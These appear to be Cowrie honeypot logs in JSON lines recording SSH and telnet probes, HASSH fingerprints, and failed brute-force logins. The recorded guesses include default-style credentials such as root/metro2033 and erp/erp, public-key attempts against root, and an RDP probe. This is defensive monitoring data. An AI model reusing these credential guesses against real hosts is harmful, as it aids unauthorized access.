{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:29.397052Z","src_ip":"103.149.170.125","session":"6e9b843ccf29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58002,"dst_ip":"10.17.0.5","dst_port":23,"session":"3de0b06ced2c","protocol":"telnet","message":"New connection: 152.42.224.71:58002 (10.17.0.5:23) [session: 3de0b06ced2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:29.789191Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"metro2033","message":"login attempt [root/metro2033] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:30.199243Z","src_ip":"103.149.170.125","session":"6e9b843ccf29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58014,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1225fc2cbfc","protocol":"telnet","message":"New connection: 152.42.224.71:58014 (10.17.0.5:23) [session: f1225fc2cbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:30.795925Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:31.469743Z","src_ip":"103.149.170.125","session":"6e9b843ccf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.47663426399231,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:33.678143Z","src_ip":"152.42.224.71","session":"c5eceb4754b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59527,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb42276ac5d","protocol":"ssh","message":"New connection: 152.42.212.128:59527 (159.203.135.109:22) [session: 6bb42276ac5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:34.665957Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:34.670396Z","src_ip":"152.42.212.128","session":"6bb42276ac5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:34.673846Z","src_ip":"152.42.212.128","session":"6bb42276ac5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33710,"dst_ip":"159.203.135.109","dst_port":22,"session":"184b612910dc","protocol":"ssh","message":"New connection: 31.40.204.166:33710 (159.203.135.109:22) [session: 184b612910dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:34.807309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:34.816336Z","src_ip":"31.40.204.166","session":"184b612910dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:35.001185Z","src_ip":"31.40.204.166","session":"184b612910dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:35.603474Z","src_ip":"31.40.204.166","session":"184b612910dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.23037719726562,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:36.326318Z","src_ip":"152.42.224.71","session":"36a195c5e12a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:36.799309Z","src_ip":"31.40.204.166","session":"184b612910dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57468,"dst_ip":"10.17.0.5","dst_port":23,"session":"fce646f7719d","protocol":"telnet","message":"New connection: 152.42.224.71:57468 (10.17.0.5:23) [session: fce646f7719d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:37.141279Z"}
{"eventid":"cowrie.session.closed","duration":120.00137877464294,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:37.210949Z","src_ip":"152.42.224.71","session":"4a0cff9c47a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":86.41222524642944,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:38.318248Z","src_ip":"152.42.224.71","session":"e9e0a65aaf43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57482,"dst_ip":"10.17.0.5","dst_port":23,"session":"0691e6f0e1bb","protocol":"telnet","message":"New connection: 152.42.224.71:57482 (10.17.0.5:23) [session: 0691e6f0e1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:38.748034Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57490,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c491770b0f","protocol":"telnet","message":"New connection: 152.42.224.71:57490 (10.17.0.5:23) [session: 86c491770b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:40.018677Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57506,"dst_ip":"10.17.0.5","dst_port":23,"session":"03aced51ae92","protocol":"telnet","message":"New connection: 152.42.224.71:57506 (10.17.0.5:23) [session: 03aced51ae92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:40.238804Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57516,"dst_ip":"10.17.0.5","dst_port":23,"session":"daefb831f778","protocol":"telnet","message":"New connection: 152.42.224.71:57516 (10.17.0.5:23) [session: daefb831f778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:41.400964Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57904,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8f6acd2b5b1","protocol":"ssh","message":"New connection: 31.40.204.166:57904 (159.203.135.109:22) [session: e8f6acd2b5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:45.882129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:45.887297Z","src_ip":"31.40.204.166","session":"e8f6acd2b5b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:46.013226Z","src_ip":"31.40.204.166","session":"e8f6acd2b5b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:46.427557Z","src_ip":"31.40.204.166","session":"e8f6acd2b5b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57532,"dst_ip":"10.17.0.5","dst_port":23,"session":"096d10d8adbf","protocol":"telnet","message":"New connection: 152.42.224.71:57532 (10.17.0.5:23) [session: 096d10d8adbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:46.516138Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.174.146","src_port":59160,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d4f9ba810ee","protocol":"ssh","message":"New connection: 74.48.174.146:59160 (10.17.0.5:22) [session: 0d4f9ba810ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.365450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.369847Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.438818Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.586313Z","src_ip":"31.40.204.166","session":"e8f6acd2b5b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:da:49:56:93:0a:50:04:b8:e7:b5:c4:03:9e:02:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6FvsmobWXVxxpkw9BAGam/2ZTVdHaEMExQUMjbIeDHh1PfTnJtn7lVPQ/9OMc88WGLQptvBvVsTzuy4/S23f67U3EfdhRKDAnTEC/zB0Be1Ih8kOVnMJWpXTFzpneQdh7Ux5DQABSlP6q03mItkC7X6yEwxWdM9+nn3BtawoIzmKok3C+DMZXT3zUQLwzICRPI7+1JOg+YIUPzDr1uR4iBpLC/IYrQ4KpF+WZ9ZFBetB0qnq3iuVX7MaPfSFzjsd358CoC9qgkw9ELtPUz8edwzBIU6x3BS/YbW6OFgzsZr/4+yg3AE8tP+QriuRNSw2q3pICkkLmJdAVi9UNXTPV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:da:49:56:93:0a:50:04:b8:e7:b5:c4:03:9e:02:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.754899Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:da:49:56:93:0a:50:04:b8:e7:b5:c4:03:9e:02:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6FvsmobWXVxxpkw9BAGam/2ZTVdHaEMExQUMjbIeDHh1PfTnJtn7lVPQ/9OMc88WGLQptvBvVsTzuy4/S23f67U3EfdhRKDAnTEC/zB0Be1Ih8kOVnMJWpXTFzpneQdh7Ux5DQABSlP6q03mItkC7X6yEwxWdM9+nn3BtawoIzmKok3C+DMZXT3zUQLwzICRPI7+1JOg+YIUPzDr1uR4iBpLC/IYrQ4KpF+WZ9ZFBetB0qnq3iuVX7MaPfSFzjsd358CoC9qgkw9ELtPUz8edwzBIU6x3BS/YbW6OFgzsZr/4+yg3AE8tP+QriuRNSw2q3pICkkLmJdAVi9UNXTPV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.758671Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:8d:3d:14:a5:12:fc:71:22:08:7d:a1:6f:9d:f3:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmZT/EHx8qtZ8UdOty2S85/pfDKdyS0nizw2XSRbmQb5qynyKu86yVyR7thWcxkzIPFoe4cOndkNIh+p3NT9o/ifkpFCCxAx+56TNmtNFMjMGYtzt2ylC2oO1ELF92ygUelRSG6JuuAoMmTOoyyX1K5cicotKaMUC0+WC1/rijmpqoJ5PDdw5vQX1zCOIpdM4jPqqXss9PV2BeUeB0wSMAB18QHMJD/u4or/cTgP8xO6hrPOi0jhyjouBqPFI1lnviF6j12KdvquAk8hBiBV32qlYqkSiUqt/aGKoSyr2bXnIklgT1yY0lwYEP2rACyN3f3DpPBZps5lRweI+J0nCS1Q92FwccjOj4lxaOFQJVWxh2XDF+y8RYowvl9WVg/xZ07GhTTXCyf9hBdhJ23fe48QxXaT1DsVuzWWqO8preXkzDfiC7i30lkhFP44Fm0pkZrhLE7prNL6sNiN6Lf4YszkCpQqgKCbAkBATUCzUx0v943XbKTvFzhC8WZ6zgLHQEkHo5fJggUIZCAtj3DNkCUuLLa7Frnzg25bkkIxQaUeeeb25Kn4JfJ4SLc4Y2hiBbFZ3sPm9SXVwlRQZPRnp7sSk3GKgPOkKVmqXJEwnwWCf8Ks+ESgl3khamE7bcMW4sGKoXbg4igGKUDtoM93vZ6mvy1JCyyePKs/thtm57Tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:8d:3d:14:a5:12:fc:71:22:08:7d:a1:6f:9d:f3:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.826524Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:8d:3d:14:a5:12:fc:71:22:08:7d:a1:6f:9d:f3:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmZT/EHx8qtZ8UdOty2S85/pfDKdyS0nizw2XSRbmQb5qynyKu86yVyR7thWcxkzIPFoe4cOndkNIh+p3NT9o/ifkpFCCxAx+56TNmtNFMjMGYtzt2ylC2oO1ELF92ygUelRSG6JuuAoMmTOoyyX1K5cicotKaMUC0+WC1/rijmpqoJ5PDdw5vQX1zCOIpdM4jPqqXss9PV2BeUeB0wSMAB18QHMJD/u4or/cTgP8xO6hrPOi0jhyjouBqPFI1lnviF6j12KdvquAk8hBiBV32qlYqkSiUqt/aGKoSyr2bXnIklgT1yY0lwYEP2rACyN3f3DpPBZps5lRweI+J0nCS1Q92FwccjOj4lxaOFQJVWxh2XDF+y8RYowvl9WVg/xZ07GhTTXCyf9hBdhJ23fe48QxXaT1DsVuzWWqO8preXkzDfiC7i30lkhFP44Fm0pkZrhLE7prNL6sNiN6Lf4YszkCpQqgKCbAkBATUCzUx0v943XbKTvFzhC8WZ6zgLHQEkHo5fJggUIZCAtj3DNkCUuLLa7Frnzg25bkkIxQaUeeeb25Kn4JfJ4SLc4Y2hiBbFZ3sPm9SXVwlRQZPRnp7sSk3GKgPOkKVmqXJEwnwWCf8Ks+ESgl3khamE7bcMW4sGKoXbg4igGKUDtoM93vZ6mvy1JCyyePKs/thtm57Tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.830150Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:ca:0d:bb:c1:c5:1a:68:ea:e1:c4:a3:a2:8f:d3:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4+AprUAwH5FDEskWNgnSeye8VV0a1c0N31LdNt+7ykssJ/+XNrbGLDSgXtqSNFgc52toozmRp7ff7mfW0JG8iyNQV06Rh4Qo9xYR6S0JV1g+voUwd9U8r9MXswDZhh5r7p0r104XhYzu208Kiy/LoQtWOPu91vSxpCsfoBZx30LqN1NNZhrH7G/VnQJVoRG4eAFAzBrRLGPmWV/TjP2KLoveA2Yq3EcE1Le8OYtsCMXgMQyynFG8mkCs57nKL/hBgFrBaHkFjMgBZmASQtThhoy4aVUmkjY3RYhhKOgCM19safMwUtslCAd/EIFa5gcZVVH8U4p3dM9bz5BNGa7zzldFTY33Mvz1X2pL7okq82Rb/zHeaEjWiw05nv4FtVU4bHVTxRfhNXGJ3Hxpcj/N+RCTfOjfrxnPp/WzhfTKeqbhnnEmPkR03qNv7QQEm6+im6Hmb+H+TGFK0sgyy1vQmu/kEmqoUO/9tdssZDWHQqNQItUHl+zaD0wxtMgvAHAajk5zpXOHPCz42UwI4ESQyhpd9calFm636P8SZNI6bs0j1RylV5HWynv0yrE/En5hLPxmCAwCQRW+33NKPrGk3oGBCGLGVIP1AzbyD8G4BOoGnBCVnTT7d6977aNYzXDjNwCJbR+KqeQL+BTCOAfuzRxKiv6oKaEMHfN6+hv5tYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:ca:0d:bb:c1:c5:1a:68:ea:e1:c4:a3:a2:8f:d3:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.909341Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:ca:0d:bb:c1:c5:1a:68:ea:e1:c4:a3:a2:8f:d3:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4+AprUAwH5FDEskWNgnSeye8VV0a1c0N31LdNt+7ykssJ/+XNrbGLDSgXtqSNFgc52toozmRp7ff7mfW0JG8iyNQV06Rh4Qo9xYR6S0JV1g+voUwd9U8r9MXswDZhh5r7p0r104XhYzu208Kiy/LoQtWOPu91vSxpCsfoBZx30LqN1NNZhrH7G/VnQJVoRG4eAFAzBrRLGPmWV/TjP2KLoveA2Yq3EcE1Le8OYtsCMXgMQyynFG8mkCs57nKL/hBgFrBaHkFjMgBZmASQtThhoy4aVUmkjY3RYhhKOgCM19safMwUtslCAd/EIFa5gcZVVH8U4p3dM9bz5BNGa7zzldFTY33Mvz1X2pL7okq82Rb/zHeaEjWiw05nv4FtVU4bHVTxRfhNXGJ3Hxpcj/N+RCTfOjfrxnPp/WzhfTKeqbhnnEmPkR03qNv7QQEm6+im6Hmb+H+TGFK0sgyy1vQmu/kEmqoUO/9tdssZDWHQqNQItUHl+zaD0wxtMgvAHAajk5zpXOHPCz42UwI4ESQyhpd9calFm636P8SZNI6bs0j1RylV5HWynv0yrE/En5hLPxmCAwCQRW+33NKPrGk3oGBCGLGVIP1AzbyD8G4BOoGnBCVnTT7d6977aNYzXDjNwCJbR+KqeQL+BTCOAfuzRxKiv6oKaEMHfN6+hv5tYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.913193Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:ba:fb:01:13:56:f9:0a:f2:b6:3a:b9:7d:dd:e1:1b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMQWQA3HMYW66p13eaBujIksUI6BNEJWTaLqHX7hpGRS","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 73:ba:fb:01:13:56:f9:0a:f2:b6:3a:b9:7d:dd:e1:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.982318Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
